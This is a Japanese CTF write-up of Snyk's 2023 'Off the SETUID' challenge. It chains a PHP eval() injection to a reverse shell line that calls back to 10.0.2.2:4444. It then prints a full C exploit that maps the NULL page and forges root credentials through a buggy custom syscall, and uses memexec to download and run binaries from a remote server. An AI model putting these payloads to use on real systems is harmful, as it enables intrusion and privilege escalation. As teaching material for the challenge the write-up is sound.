Skip to main content

Snyk Fetch the Flag CTF 2023 解説:Off the SETUID

著者
Headshot of Carlos Polop

Carlos Polop

Headshot of Yago Gutiérrez

Yago Gutiérrez

snyk ctf off the setuid

2023年11月30日

0 分で読めます

Fetchに参加してくれてありがとうございます! Fetch the Flag CTFに参加した何千人ものプレイヤーの皆さん、おめでとうございます。Snykの2023年Fetch the Flagに参加し、Off the SETUIDチャレンジの答えをお探しなら、ここがぴったりです。解法を一緒に見ていきましょう!

見慣れない環境に迷い込んでしまいました。この環境にあるものだけで切り抜けられるでしょうか?それとも、ただ生き延びるだけで精いっぱいでしょうか……

rootユーザーのホームディレクトリからフラグを取り出してください。

これは妙な問題です。Webチャレンジでしょうか、それともカーネルのpwnでしょうか?

qemuのスクリプト、コンパイル済みのカーネル(対応する.diffもあります)、そしてinitramfsイメージ(initプログラムのコードもあります)が用意されています。まずはinitramfsを展開して、中を見てみましょう。

ディストリビューションを使うか、使わないか

$ zstdcat -d - < ../initramfs.img | cpio -i
172272 bloques
$ ls -l
total 48
lrwxrwxrwx 1 arget arget     8 oct 30 22:00 bin -> usr/bin/
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 dev
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 etc
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 home
-rwxr-xr-x 1 arget arget 16264 oct 30 22:00 init
lrwxrwxrwx 1 arget arget     8 oct 30 22:00 lib64 -> /usr/lib
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 proc
drwx------ 2 arget arget  4096 oct 30 22:00 root
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 sys
drwxr-xr-x 4 arget arget  4096 oct 30 22:00 usr
drwxr-xr-x 3 arget arget  4096 oct 30 22:00 var
$ ls usr/bin/
php
$ ls -l root/flag.txt 
-r-------- 1 arget arget 25 oct 30 22:00 root/flag.txt

なるほど、ディストリビューションなしです。シェルも、よく使うユーティリティも、何もありません。initプログラムは明らかにコンパイル済みです(シェルがないので、スクリプトではありません)。ただし、ソースコードも用意されています。

// [Definition of add_dev_addr() and default_gw()]
int main()
{
	mknod("/dev/null" , 0666 | S_IFCHR, makedev(1, 3));
	mknod("/dev/ttyS0", 0660 | S_IFCHR, makedev(4, 64));

	mount("proc", "/proc", "proc" , MS_NOEXEC | MS_NODEV | MS_NOSUID, NULL);
	mount("sysfs", "/sys", "sysfs", MS_NOEXEC | MS_NODEV | MS_NOSUID, NULL);
	mount(NULL, "/", NULL, MS_REMOUNT | MS_RDONLY, NULL);

	int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
	add_dev_addr(fd, "10.0.2.15", "255.255.255.0");
	default_gw(fd, inet_addr("10.0.2.2"));
	close(fd);

	if (!fork())
	{
		setresuid(100, 100, 100);
		chdir("/var/run");
		execl("/usr/bin/php", "php", "-S", "0:8080", NULL);
		err(1, "Something failed");
	}
	wait(NULL);

	reboot(RB_POWER_OFF);
}

一般的なinitスクリプトと同じ処理を行っています。デバイスを初期化し、procfsとsysfs(noexec付き)をマウントし、rootfsを読み取り専用で再マウントして、ネットワークを初期化します。その後、ユーザーuid=100として、ルートディレクトリを/var/runに設定したHTTPサーバーをポート8080で起動します。

/var/runにあるのはindex.phpだけです。

// [CSS stuff]
<h2>Super Secure PHP Code Evaluator</h2>
<div class="container">
    <form method="post">
        <input type="text" name="code" placeholder="Enter code" required>
        <br>
        <button type="submit">Eval Code</button>
    </form>
    <?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $code = $_POST['code'];
        eval($code);
    }
    ?>
</div>
<br><br><br>
<a href="?debug">Show Source Code</a>

<?php
if (isset($_GET['debug'])) {
    highlight_file(__FILE__);
}
?>

まとめると、このHTTPサーバーにはPHPコードインジェクションの脆弱性があることは明らかです。以下のようなコードを使えば、PHPの対話型リバースシェルを取得できます。

$s = fsockopen("10.0.2.2", 4444);
proc_open(['php', '-a'], array(0 => $s, 1 => $s, 2 => $s), $p);

しかし、フラグはrootだけが読み取れるため、読むことができません。そこで、権限昇格の方法を見つける必要があります。fun_setuid.diffの登場です。

fun_setuid()

.diffファイルを見ると、カーネルに新しいsyscallが追加されています。

struct cred* prepare_user_creds(kuid_t kuid)
{
	struct cred* new;
	long retval;
	if (!uid_valid(kuid))
		return NULL;

	new = prepare_creds();
	if (!new)
		return (struct cred*) -ENOMEM;

	new->uid   = kuid;
	retval = set_user(new);
	if (retval < 0)
		goto error;
	new->euid  = kuid;
	new->suid  = kuid;
	new->fsuid = kuid;

	retval = security_task_fix_setuid(new, current_cred(), LSM_SETID_RES);
	if (retval < 0)
		goto error;

	retval = set_cred_ucounts(new);
	if (retval < 0)
		goto error;

	flag_nproc_exceeded(new);
	return new;

error:
	abort_creds(new);
	return (struct cred*) retval;
}

long __sys_fun_setuid(uid_t uid)
{
	const struct cred* old;
	struct cred* new;
	kuid_t kuid = make_kuid(current_user_ns(), uid);

	old = current_cred();

	if (uid_lt(kuid, old->uid) &&
	    !ns_capable_setid(old->user_ns, CAP_SETUID))
		return -EPERM;

	new = prepare_user_creds(kuid);
	if (new < 0)
		return (long) new;

	return commit_creds(new);
}

SYSCALL_DEFINE1(fun_setuid, uid_t, uid)
{
	return __sys_fun_setuid(uid);
}

簡単に言うと、このsyscallを使うと、プロセスのuidを現在の値より大きい値に変更できます(または、プロセスがCAP_SETUID capabilityを持っている場合に変更できます)。

このsyscallはprepare_user_creds()というヘルパー関数を使います。この関数はさらにprepare_cred()を使って新しいstruct credを割り当て、ユーザーの情報を書き換えて返します。エラーが発生した場合は、エラーコードの負の値を返します。そのためsyscall関数は、資格情報を確定する前に戻り値が負でないことを確認します(下記の設計上の注意点を参照)。また、要求されたuidが無効(つまり-1)でないことも確認し、無効な場合はNULLを返します。

設計上の注意点

この設計には、ほかにも2つの重大な問題があります。

  • Cでアドレスとゼロを比較しても機能しません。まったく意味がありません。アドレスは符号なしの型として扱われるため、負かどうかを確認するのは無意味です。そのため、コンパイラーはif文を完全に削除します。

  • たとえコンパイラーが削除しなかったとしても、このコードは動きません。Linuxのx86ではカーネルアドレスは常に負だからです。そのため、prep_user_creds()で問題が見つからなくても、返されるstruct cred*ポインターは負の値と解釈され、確定されません。

資格情報の扱い

問題は、syscall関数がこの最後の可能性を確認しないことです。そのため、資格情報構造体へのポインターとしてNULLポインターを確定してしまう可能性があります。initramfsを変更してbusybox,を追加し、sysctl vm.mmap_min_addrを実行すれば、このシステムでプロセスがマッピングできる最小アドレスを確認できます。さらにデバッグが必要な場合は、/proc/config.gzも利用できます。

mmap_min_addr=0であり、さらにrun.shスクリプトを見ると、VMではSMAPが有効になっていないことが分かります。これは好都合です。NULLアドレスをマッピングし、そこにrootの資格情報構造体を配置してからfun_setuid(-1)を呼び出せば、資格情報ポインターをNULL、つまり偽造した資格情報に向けられます。

#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <err.h>

#define __NR_fun_setuid 452
long fun_setuid(uid_t uid)
{
	return syscall(__NR_fun_setuid, uid);
}

struct cred
{
	int		usage;
	unsigned	uid;
	unsigned	gid;
	unsigned	suid;
	unsigned	sgid;
	unsigned	euid;
	unsigned	egid;
	unsigned	fsuid;
	unsigned	fsgid;
	unsigned	securebits;
	unsigned long	cap_inheritable;
	unsigned long	cap_permitted;
	unsigned long	cap_effective;
	unsigned long	cap_bset;
	unsigned long	cap_ambient;
	// ... pointers to stuff I don't care about
};

int main(int argc, char** argv)
{
	char buf[100];
	int fd;
	struct cred* cred = NULL;

	void* map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
			MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
	if (map == MAP_FAILED)
		err(1, "mmap()");

	*cred = (struct cred) { 1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1 };

	printf("uid = %u\n", getuid());
	fun_setuid(-1);
	printf("uid = %u\n", getuid());

	fd = open("/root/flag.txt", O_RDONLY);
	write(0, buf, read(fd, buf, sizeof buf));
	close(fd);

	pause(); // If you don't look it isn't there :P
	return 0;

capabilityを変更する必要はありませんが、せっかくなので、追加点を狙って変更してもよいでしょう。ただし、cred->usage=1(参照カウンターのようなもの)を設定することが非常に重要です。そうしないと、カーネルはこれをUAFバグだと判断します(BUG_ON(atomic_read(&new->usage) < 1))。

また、このプロセスを終了させてはいけません。終了すると、カーネルがこの構造体を解放しようとするため、問題が起きます。だからシェルを起動できないのです(execve()を呼び出すと、最終的に現在のプロセスが終了します)。そのため、最後にpause()を呼び出しています。

しかし、まだ問題があります。エクスプロイトをアップロードして実行する場所がありません。エクスプロイトをシェルコードに変換し、PHPコードからPHPプロセスのprocfsのmemファイルに書き込めば、任意のネイティブコードを実行できます。そこからmmap()でNULLをマッピングし、偽の資格情報を配置してfun_setuid(-1)を呼び出せます。PHPスクリプトからは、これらの操作を実行できないからです……

でも、それだけでは面白くありません。

Memexec

数カ月前、ディストリビューションのない環境を、特定の状況下で回避する方法について、DEFCON 31で講演しました。そのために、私(Yago Gutiérrez)はmemexecというツールを開発しました。これを使うと、任意のプログラムをPHP上でファイルレス実行できます。

この対話型PHPセッションを貼り付けるだけです。これで、バイナリのURIとプログラムの引数配列を受け取るmemexec()関数が使えるようになります。たとえば、busyboxを置いたHTTPサーバーを用意して、システム内でコマンドを実行できます。

php > memexec("http://10.0.2.2:8888/busybox", ["ls", "-la", "/"]);
memexec("http://10.0.2.2:8888/busybox", ["ls", "-la", "/"]);
total 16
drwxr-xr-x   10 root     root           260 Oct 24 22:42 .
drwxr-xr-x   10 root     root           260 Oct 24 22:42 ..
lrwxrwxrwx    1 root     root             8 Oct 24 22:31 bin -> usr/bin/
drwxr-xr-x    2 root     root           100 Oct 31 10:39 dev
drwxr-xr-x    2 root     root           120 Oct 24 22:53 etc
drwxr-xr-x    2 root     root            40 Oct 24 18:25 home
-rwxr-xr-x    1 root     root         16264 Oct 24 22:42 init
lrwxrwxrwx    1 root     root             8 Oct 24 18:25 lib64 -> /usr/lib
dr-xr-xr-x  102 root     root             0 Oct 31 10:39 proc
drwx------    2 root     root            60 Oct 24 18:25 root
dr-xr-xr-x   12 root     root             0 Oct 31 10:39 sys
drwxr-xr-x    4 root     root            80 Oct 24 18:25 usr
drwxr-xr-x    3 root     root            60 Oct 24 18:25 var
php > memexec("http://10.0.2.2:8888/busybox", ["mount"]);
memexec("http://10.0.2.2:8888/busybox", ["mount"]);
rootfs on / type rootfs (ro,size=94428k,nr_inodes=23607)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
php > 

重要:VMにはSSLライブラリがないため、HTTPSは使用しないでください。

さあ、今度こそこのカーネルを攻略しましょう。

php > memexec("http://10.0.2.2:8888/x", []);
memexec("http://10.0.2.2:8888/x", []);
the flag will be here...

Fetchを盛り上げてくれてありがとう!

2023年のFetch the Flagに参加したすべてのチームに、心から感謝します!皆さんに会えて本当にうれしかったです。@Arget(GHでは@arget13)、@carlospolop(こちらもGHでは@carlospop)で、いつでも連絡してください。

2023年のその他のチャレンジの解説はこちらです。ぜひご覧ください!

カテゴリー: